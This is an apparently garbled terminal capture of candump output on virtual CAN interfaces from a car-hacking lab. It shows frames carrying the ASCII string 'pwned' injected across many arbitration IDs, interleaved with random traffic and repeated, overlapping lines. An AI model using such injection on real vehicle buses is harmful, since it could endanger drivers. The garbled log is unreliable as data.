5D vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 2B3 [1] 70 'p' │ vcan0 3BE [3] B6 B4 4A vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5E0 [2] C8 19 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 5CA [2] 70 77 'pw' vcan0 46E [8] 38 DA 06 1D 21 37 36 75 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 48D [1] 12 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 21D [4] 5A AD 64 6E vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 3D1 [0] vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B4 4A vcan1 2B3 [1] 70 'p' │ vcan0 5E0 [2] C8 19 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 5C0 [2] 76 98 vcan1 5CA [2] 70 77 'pw' vcan0 48D [1] 12 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 21D [4] 5A AD 64 6E vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 3D1 [0] vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 083 [5] F0 53 AE 4B 54 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 6E 88 0E 7B 4B 27 40 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B4 4A vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5E0 [2] C8 19 vcan1 2B3 [1] 70 'p' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 76 98 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 5CA [2] 70 77 'pw' vcan0 65D [8] FB 5E 5C 3E FE 71 87 11 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 21D [4] 5A AD 64 6E vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 3D1 [0] vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B6 3F 30 7B FE B7 5F vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B4 4A vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5E0 [2] C8 19 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 2B3 [1] 70 'p' │ vcan0 5C0 [2] 76 98 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 292 [4] B1 95 C9 3C vcan1 5CA [2] 70 77 'pw' vcan0 21D [4] 5A AD 64 6E vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3D1 [0] vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 4A7 [4] 39 DF 79 1F vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B4 4A vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5E0 [2] C8 19 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] C8 19 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 76 98 vcan1 2B3 [1] 70 'p' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 292 [4] B1 95 C9 3C vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 34E [1] E0 vcan1 5CA [2] 70 77 'pw' vcan0 197 [8] 70 4B F8 5F F2 8F 7A 09 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3D1 [0] vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 4A7 [4] 39 DF 79 1F vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 41D [4] 03 8D 9F 01 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 3BE [3] B6 B4 4A vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5E0 [2] C8 19 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 02 C6 5B 7C 22 84 F9 11 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 76 98 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 2B3 [1] 70 'p' │ vcan0 292 [4] B1 95 C9 3C vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 34E [1] E0 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 18B [0] vcan1 5CA [2] 70 77 'pw' vcan0 4B3 [6] 72 3C 61 53 85 31 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3D1 [0] vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 4A7 [4] 39 DF 79 1F vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 41D [4] 03 8D 9F 01 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 3BE [3] B6 B4 4A vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5E0 [2] C8 19 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 76 98 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 292 [4] B1 95 C9 3C vcan1 2B3 [1] 70 'p' │ vcan0 34E [1] E0 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 18B [0] vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E [1] 0:candump* "cars@scapy :~/repos/t" 13:35 24-Jan-19 vcan1 5CA [2] 70 77 'pw' vcan0 3D1 [0] vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 41D [4] 03 8D 9F 01 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 3BE [3] B6 B4 4A vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 5E0 [2] C8 19 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 76 98 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 292 [4] B1 95 C9 3C vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 34E [1] E0 vcan1 2B3 [1] 70 'p' │ vcan0 18B [0] vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 ^C[cars@scapy folders 2019]$ vcan1 5CA [2] 70 77 'pw' vcan0 162 [8] 5E B2 F7 4E D0 A5 C4 5D vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4E6 [6] F2 DC FA 52 73 61 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 083 [5] F0 53 AE 4B 54 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3BE [3] B6 B4 4A vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' │ vcan0 5E0 [2] C8 19 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 5C0 [2] 76 98 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 292 [4] B1 95 C9 3C vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 34E [1] E0 vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 18B [0] vcan1 2B3 [1] 70 'p' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 294 [8] 13 4B 9D 6B 54 28 A5 6D ^C[cars@scapy folders 2019]$ ^C vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 5E0 [2] C8 19 [cars@scapy folders 2019]$ vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6E3 [8] ^C[cars@scapy folders 2019]$ ^C │ vcan0 04F [8] 49 6C ED 65 2C D1 01 7A [cars@scapy folders 2019]$ vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 4A7 [4] 39 DF 79 1F vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 083 [5] F0 53 AE 4B 54 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3BE [3] B6 B4 4A vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5E0 [2] C8 19 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 5C0 [2] 76 98 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 292 [4] B1 95 C9 3C vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 34E [1] E0 vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 18B [0] vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 351 [8] 41 5B A5 10 C3 AC B8 0E vcan1 2B3 [1] 70 'p' │ vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 294 [8] 13 4B 9D 6B 54 28 A5 6D vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 04F [8] 49 6C ED 65 2C D1 01 7A ^C[cars@scapy folders 2019]$ ^C │ vcan0 3DE [6] 00 9A DF 65 70 16 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 41D [4] 03 8D 9F 01 vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 083 [5] F0 53 AE 4B 54 vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3BE [3] B6 B4 4A vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5E0 [2] C8 19 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 5C0 [2] 76 98 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 292 [4] B1 95 C9 3C vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 34E [1] E0 vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 18B [0] vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan1 71A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 vcan1 2B3 [1] 70 'p' │ vcan0 294 [8] 13 4B 9D 6B 54 28 A5 6D vcan1 139 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 04F [8] 49 6C ED 65 2C D1 01 7A vcan1 3A0 [5] 70 77 6E 65 64 'pwned' │ vcan0 3DE [6] 00 9A DF 65 70 16 ^C[cars@scapy folders 2019]$ ^C │ vcan0 0CA [1] D6 vcan1 731 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 239 [8] BC 55 3E 61 D0 DB 75 4C vcan1 5DC [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5B7 [8] C3 6B F0 55 6A 22 51 1A vcan1 13C [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 083 [5] F0 53 AE 4B 54 vcan1 62B [5] 70 77 6E 65 64 'pwned' vcan0 635 [8] DE 6F 02 71 97 A7 D4 2D vcan1 3D7 [4] 70 77 6E 65 'pwne' vcan0 7F6 [8] 68 4D 99 0B DD CC EB 50 vcan1 3D8 [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 6D3 [8] 50 2E 88 0E 7B 4B 27 40 vcan1 2E9 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 25E [8] 80 66 3F 30 7B FE B7 5F vcan1 16D [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 3BE [3] B6 B4 4A vcan1 6EA [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5E0 [2] C8 19 vcan1 7F6 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 39F [8] 02 C6 5B 7C 22 84 F9 11 vcan1 449 [8] 70 77 6E 65 64 00 00 00 'pwned...' vcan0 5C0 [2] 76 98 vcan1 13D [7] 70 77 6E 65 64 00 00 'pwned..' vcan0 0DD [5] 8C EB 1C 26 D4 vcan1 7FC [4] 70 77 6E 65 'pwne' │ vcan0 292 [4] B1 95 C9 3C vcan1 7BB [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 34E [1] E0 vcan1 68A [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 18B [0] vcan1 624 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 6E3 [8] 41 5B A5 10 C3 AC B8 0E vcan1 4A3 [8] 70 77 6E 65 64 00 00 00 'pwned...' │ vcan0 351 [8] 5B 50 C3 70 F0 C6 A3 59 vcan1 71A [8] 70 77 6E 65 64 00 